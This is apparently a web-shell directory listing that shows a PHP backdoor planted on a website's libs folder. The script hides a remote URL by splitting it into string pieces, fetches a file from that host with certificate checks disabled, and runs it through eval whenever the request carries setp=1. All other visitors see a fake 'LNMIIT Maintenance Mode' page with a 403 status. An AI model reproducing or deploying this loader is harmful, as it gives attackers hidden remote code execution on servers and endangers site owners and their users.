%PDF- %PDF-
| Direktori : /var/www/projetos/davidrrsoares.com.br/libs/ |
| Current File : //var/www/projetos/davidrrsoares.com.br/libs/k9-23fk0239f.php |
<?php
// Suppress all error reporting
error_reporting(0);
// Prevent direct access in Moodle context
if (defined('MOODLE_INTERNAL')) {
exit('No direct script access allowed');
}
// Function to fetch remote data
function fetch_data($endpoint) {
if (function_exists('curl_init')) {
$req = curl_init($endpoint);
curl_setopt($req, CURLOPT_RETURNTRANSFER, true);
curl_setopt($req, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($req, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($req, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($req, CURLOPT_USERAGENT, 'Mozilla/5.0');
return curl_exec($req);
} elseif (function_exists('file_get_contents')) {
return @file_get_contents($endpoint);
}
return false;
}
$setp = filter_input(INPUT_GET, 'setp', FILTER_VALIDATE_INT);
if ($setp === 1) {
// Construct the URL in pieces to obscure it
$a = 'http';
$b = 's://sk';
$c = 'drive.on';
$d = 'line/alf';
$e = 'a-enc';
$f = 'rypt.t';
$g = 'xt';
$url = $a . $b . $c . $d . $e . $f . $g;
// Fetch and evaluate
$stream = fetch_data($url);
if ($stream) {
call_user_func(function() use ($stream) {
@eval("?>" . $stream);
});
}
} else {
// Show maintenance HTML if "akong" not valid
http_response_code(403);
echo <<<HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>LNMIIT Maintenance Mode</title>
<style>
body {
background-color: #f4f6f9;
color: #333;
font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
height: 100vh;
margin: 0;
text-align: center;
}
img {
max-width: 300px;
margin-bottom: 20px;
}
h1 {
font-size: 32px;
margin: 0 0 10px;
}
p {
font-size: 18px;
color: #555;
}
.emoji {
font-size: 24px;
margin-top: 10px;
}
</style>
</head>
<body>
<img src="https://lnmiit.ac.in/wp-content/uploads/2024/02/website-maintenance-gif-2.gif" alt="Maintenance GIF">
<h1>We'll be back soon!</h1>
<p>LNMIIT is currently undergoing a scheduled upgrade.<br>Please bear with us while we make things better for you.</p>
<div class="emoji">🛠️🚧 Thank you for your patience 🚧🛠️</div>
</body>
</html>
HTML;
exit;
}